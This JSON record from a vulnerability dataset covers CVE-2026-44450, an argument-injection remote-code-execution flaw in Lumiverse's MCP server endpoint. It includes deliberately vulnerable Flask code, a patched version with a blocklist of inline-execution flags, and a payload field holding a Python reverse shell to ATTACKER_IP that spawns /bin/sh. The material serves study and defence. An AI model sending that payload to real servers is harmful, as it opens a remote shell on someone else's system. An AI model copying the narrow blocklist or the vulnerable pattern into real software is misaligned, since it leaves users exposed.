{"id":1918,"cve":"CVE-2026-44450","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-44450\/","cwe":"CWE-88","cwe_number":88,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/88","cvss_score":9.9,"published":"2026-05-26","owasp":"A03 Injection","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Command Injection","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Lumiverse allows authenticated RCE via unsanitized server creation arguments.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-44450\/","description":"Lumiverse is a full-featured AI chat application. Prior to 0.9.7, the MCP server creation endpoint validates the command field against an allowlist of binary names but forwards the args array to the child process without any validation. Every binary on the allowlist accepts an inline-code execution flag (-e for node\/bun, -c for python3\/deno), giving any logged-in user arbitrary OS-level code execution on the Lumiverse server. The route requires only requireAuth (not requireOwner). The server binds on all interfaces (::) and the host-header rebinding check is bypassed trivially by any HTTP client that sends Host: localhost:<port> directly, making this exploitable from any machine with network access to the server port. This vulnerability is fixed in 0.9.7.","solution":"Upgrade to Lumiverse version 0.9.7.","affected_component":"Lumiverse","fixed_by_upgrading":false,"vulnerable_code":"import subprocess\nfrom flask import Flask, request, jsonify\nfrom functools import wraps\n\n# This is a simplified representation of the vulnerable application structure.\n# WARNING: This code is intentionally vulnerable for demonstration purposes.\n# Do NOT use this in a production environment.\n\napp = Flask(__name__)\n\n# The allowlist of binaries as described in the CVE.\nALLOWED_COMMANDS = ['python3', 'node', 'deno', 'bun']\n\n# A mock authentication decorator. The CVE states only 'requireAuth' is needed,\n# meaning any authenticated user can exploit this, not just an owner\/admin.\ndef require_auth(f):\n    @wraps(f)\n    def decorated_function(*args, **kwargs):\n        # In a real app, this would validate a JWT or session cookie.\n        # For this example, we just check for a header's existence.\n        if 'Authorization' not in request.headers:\n            return jsonify({\"error\": \"Authentication required\"}), 401\n        return f(*args, **kwargs)\n    return decorated_function\n\n# The vulnerable MCP server creation endpoint.\n@app.route('\/api\/mcp\/create_server', methods=['POST'])\n@require_auth\ndef create_mcp_server():\n    \"\"\"\n    Vulnerable endpoint that allows arbitrary code execution.\n    - It validates the 'command' field against an allowlist.\n    - It FAILS to validate the 'args' field, passing them directly to subprocess.\n    \"\"\"\n    try:\n        data = request.get_json()\n        if not data or 'command' not in data or not isinstance(data.get('args'), list):\n            return jsonify({\"error\": \"Invalid request body. 'command' and 'args' (list) are required.\"}), 400\n\n        command = data.get('command')\n        args = data.get('args')\n\n        # Part 1: The command is validated against the allowlist. This provides a false sense of security.\n        if command not in ALLOWED_COMMANDS:\n            return jsonify({\"error\": f\"Command '{command}' is not in the allowlist.\"}), 403\n\n        # Part 2: THE VULNERABILITY\n        # The 'args' array is passed directly to the child process without any sanitization or validation.\n        # An attacker can provide an inline code execution flag (e.g., -c for python3, -e for node)\n        # followed by malicious code.\n        \n        # Malicious payload example:\n        # {\n        #   \"command\": \"python3\",\n        #   \"args\": [\"-c\", \"import os; os.system('touch \/tmp\/pwned_by_cve')\"]\n        # }\n        \n        full_command_list = [command] + args\n        \n        # The command and its unsanitized arguments are executed.\n        process = subprocess.Popen(full_command_list, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n        return jsonify({\n            \"status\": \"success\",\n            \"message\": f\"Server process for '{command}' started.\",\n            \"pid\": process.pid\n        }), 201\n\n    except Exception as e:\n        return jsonify({\"error\": \"An internal error occurred\", \"details\": str(e)}), 500\n\nif __name__ == '__main__':\n    # Binds on all interfaces ('::' or '0.0.0.0'), making it network-accessible as described.\n    app.run(host='0.0.0.0', port=8080)","patched_code":"import subprocess\n\n# A list of allowed binaries, as described in the CVE.\nALLOWED_COMMANDS = [\"python3\", \"node\", \"deno\", \"bun\"]\n\n# THE FIX: A blocklist of arguments that allow for inline code execution.\n# The original vulnerable code was missing this validation.\nBLOCKED_ARGS = [\"-c\", \"-e\", \"--eval\"]\n\ndef create_mcp_server_fixed(command: str, args: list[str]):\n    \"\"\"\n    Simulates the fixed server creation endpoint.\n\n    This version validates both the command and its arguments to prevent\n    the injection of code execution flags.\n    \"\"\"\n    # 1. Validate the command against the allowlist (this was already present).\n    if command not in ALLOWED_COMMANDS:\n        raise ValueError(f\"Command '{command}' is not in the allowlist.\")\n\n    # 2. FIX: Validate the arguments against the blocklist.\n    # This crucial step prevents passing flags like '-c' or '-e'.\n    for arg in args:\n        if arg in BLOCKED_ARGS:\n            raise ValueError(f\"Disallowed argument '{arg}' was found.\")\n\n    # 3. If all checks pass, proceed to execute the command.\n    try:\n        # In a real application, this would likely use subprocess.Popen to manage\n        # the child process lifecycle. subprocess.run is used for simplicity.\n        full_command = [command] + args\n        print(f\"Safely executing: {' '.join(full_command)}\")\n        # Example benign execution: subprocess.run([\"python3\", \"my_safe_script.py\", \"--port\", \"8000\"])\n        # The line below is commented out to prevent actual execution in this example.\n        # subprocess.run(full_command, check=True)\n    except FileNotFoundError:\n        raise RuntimeError(f\"The command '{command}' was not found on the system.\")\n\n# --- Demonstration of the fix ---\n\n# Example of a malicious payload that would have worked before the fix.\n# This call will now raise a ValueError because '-c' is in BLOCKED_ARGS.\nmalicious_command = \"python3\"\nmalicious_args = [\"-c\", \"import os; os.system('echo Vulnerable Execution')\"]\n\ntry:\n    print(\"Attempting to execute with malicious arguments...\")\n    create_mcp_server_fixed(malicious_command, malicious_args)\nexcept ValueError as e:\n    print(f\"FIX APPLIED: Execution blocked. Reason: {e}\")\n\nprint(\"-\" * 20)\n\n# Example of a legitimate payload that is still allowed.\nbenign_command = \"python3\"\nbenign_args = [\"\/path\/to\/user_script.py\", \"--port\", \"8080\"]\n\ntry:\n    print(\"Attempting to execute with benign arguments...\")\n    create_mcp_server_fixed(benign_command, benign_args)\n    print(\"SUCCESS: Benign command would be executed.\")\nexcept ValueError as e:\n    print(f\"ERROR: Benign command was unexpectedly blocked: {e}\")\n","payload_needed":true,"payload":"```json\n{\n  \"command\": \"python3\",\n  \"args\": [\n    \"-c\",\n    \"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP', 4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('\/bin\/sh')\"\n  ]\n}\n```","payload_status":"available","published_fix":[],"references":null}